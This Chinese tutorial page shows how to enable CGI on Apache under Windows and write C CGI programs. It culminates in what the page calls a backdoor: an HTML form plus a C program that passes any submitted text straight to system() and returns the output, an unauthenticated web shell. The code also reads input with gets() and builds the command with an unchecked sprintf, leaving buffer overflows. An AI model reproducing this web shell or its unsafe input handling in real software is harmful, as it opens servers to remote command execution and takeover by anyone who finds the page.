程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> C++入門知識 >> c/c++----網站及其後門(CGI應用程序)

c/c++----網站及其後門(CGI應用程序)

編輯:C++入門知識

c/c++----網站及其後門(CGI應用程序)


C/C++學習到這兒,結合自己曾經學過的javasweb知識,現在讓我們來看看,如何做一個CGI程序吧!         首先了解一下啥子叫CGI  :CGI全稱是“公共網關接口”(Common Gateway Interface),HTTP服務器與你的或其它機器上的程序進行“交談”的一種工具,其程序須運行在網絡服務器上。    ----來自百度百科   1.  首先,我們需要 Apache server2.0(學習web,應該必須知道這個的,嘻嘻),安裝好該軟件之後,也許會出現很多的問題,導致打不開什麼的。喵了個咪的,博主本人曾經也是搞了老半天,不過最後,還是搞定了!           (1). 其實主要情況,我遇到就兩種,第一種,就是我們為了節約開機時間,將IIS關閉了,或者有些俠客直接將它卸載了! 所以導致打不開!                -----------------------面對這種問題,下一個就好了!  Apache server2.0 需要 IIS 配合。          (2). 第二種就是80端口被占用了,這是最容易發生的情況沒有之一。  解決的方法有很多,但是個人比較喜歡這樣來搞。        cmd --》 net -ano   --->查看那些占用了80端口(一般是浏覽器什麼的居多) 幾下他們的  PID ,然後在進程管理哪兒關閉就好了!        上面的Apache server 運行起來之後,就在浏覽器中 敲入 localhost ,會顯示一個       然後修改一個,http.cof文件      找到倆個位置:   第一個位置: #  AddHandler cgi-script .cgi   將這個語句的前面#注釋符去掉   第二個位置:    <Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin"> AllowOverride None Options None    -----將這個位置替換為:    Options Indexes ExecCGI Order allow,deny Allow from all   </Directory>   這兩個位置配置好之後。就可以用C/C++編程了!   第一步:我們編寫一個這樣的文件            1 #include<stdio.h> 2 int main(int args ,char * argv []) { 3    4     printf("Content-type:text/html\n\n"); 5     printf("hello world ! 我是cgi "); 6     getchar(); 7   return 0; 8 }    編譯,生成一個這樣的 hello.exe文件、生成之後,我們將hell.exe的屬性改為 hello.cgi   然後將其放置到,自己安裝的Apache server2.0文件中的cgi-bin文件下   在浏覽器中,再輸入,localhost/cgi-bin/hello.cgi  就可以看到這樣的畫面                   2. 那麼說了這麼多,我們又該用c/c++寫一個cgi來做後台,在背後來操作這個數據呢!        首先,我們需要寫一個html,做個web的,對於這些當然,是再easy不過了! 為了節約時間,就寫一個簡陋點的html吧!!   諾,看!      1 <html>  2 <head>  3   <title>後台</title>  4 </head>  5   6 <body>  7             <h1> 後台界面</h1>  8  <form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI >  9    10   請輸入命令cmd: <input  type="text"  name="textlist"     /><br><br>   11   <input  type="submit"    /><br> 12  </form> 13  <hr> 14 <body> 15 </html>             當然,這個當我們在做web的時候,這個是可以內嵌到,我們的項目中的!在於你將這個jsp放到哪個地兒啦!    最後就是重點了! 就像我上面寫的cgi一樣! 寫一個下面這樣的代碼:          1 #define  _CRT_SECURE_NO_WARNINGS  2 #include<stdio.h>  3 #include<stdlib.h>  4 //#include<stdexcept>  5 #include<windows.h>  6   7 //以調用System為舉例  8 void func(char ps []) {  9     // ps 為cmd命令 10     char *pl = strchr(ps,'=');  //pl指向當前的位置 11     if(pl!=NULL)   ps = ps + (pl-ps+1); 12      printf("命令cmd = %s\n", ps); 13     char cmd[256] = {'\0'}; 14     char  filename[]  = "Gxjun.txt";   //暫定放置於當前目錄。 15     sprintf(cmd,"%s > %s ",ps,filename);  //將ps的內容寫入cmd中 16     //生成了一條指令 17     //無論是否執行成功,都會生成一個Gxjun.txt文件 18     FILE *fp = NULL; 19     int tag=system(cmd);   20     if (tag == 1) { 21         printf("命令格式錯誤!,請重新輸入: "); 22         goto loop; 23     } 24     if ((fp = fopen(filename, "r")) == NULL) { 25         printf("沒有發現文件!"); 26         goto loop ; 27      } 28  29      while (!feof(fp)) { 30          char str=fgetc(fp); 31           if (str == '\n') printf("<br><br>\n\n"); 32           else if (str == ' ')printf("&nbsp;"); 33           else 34               printf("%c",str); 35      } 36  37  loop: 38      if (fp != NULL){ 39          fclose(fp); 40          //並刪除備份的文件 41          system("del Gxjun.txt"); 42      } 43      return ; 44 } 45  46  47 int main(int args ,char * argv []) { 48    49     printf("Content-type:text/html\n\n"); 50     //打印環境變量 51     printf("&nbsp;&nbsp;&nbsp;%s<br><br>", getenv("QUERY_STRING")); 52     char szPost[256] = {'\0'}; 53     gets(szPost);  //獲取輸入     54     if ( strlen(szPost) < 1 ) 55         strcpy( szPost , "ipconfig" ); 56     func(szPost); 57     getchar(); 58   return 0; 59 }  

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved